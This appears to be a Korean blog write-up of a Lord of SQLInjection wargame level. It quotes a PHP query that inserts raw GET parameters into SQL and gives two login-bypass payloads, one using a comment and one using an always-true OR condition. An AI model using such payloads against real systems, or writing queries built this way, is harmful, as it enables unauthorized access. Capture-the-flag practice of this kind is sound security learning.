#WarGame/Lord of SQLInjection

Lord of SQLInjection 2번 cobolt

Y0u_4re_s0_5weet 2021. 8. 6. 17:27
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 2번 cobolt

 

- $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 

1번 문제와 필터링은 같지만 pw는 md5로 암호화를 한다.

 

- if($result['id'] == 'admin') solve("cobolt");

id가 admin이면 조건이 만족하므로 admin 뒤에 주석처리를 하면 해결할 수 있다.

 

 

  • ?id=admin%27%23
  • id='admin'#'을 적게 되면 pw는 주석처리가 되어 검증을 하지 않기 때문에 결국 참이 된다.

 

 

또 다른 방법은 or문이다.

 

  • ?id=admin%27or%20%271%27=%271
  • id=admin 'or '1'='1' and pw=md5('')
  • 이렇게 적으면 true or true and false
  • and연산을 먼저 수행하지만 id는 admin이 true이므로 결론적으로 참이 나온다.

 

 

반응형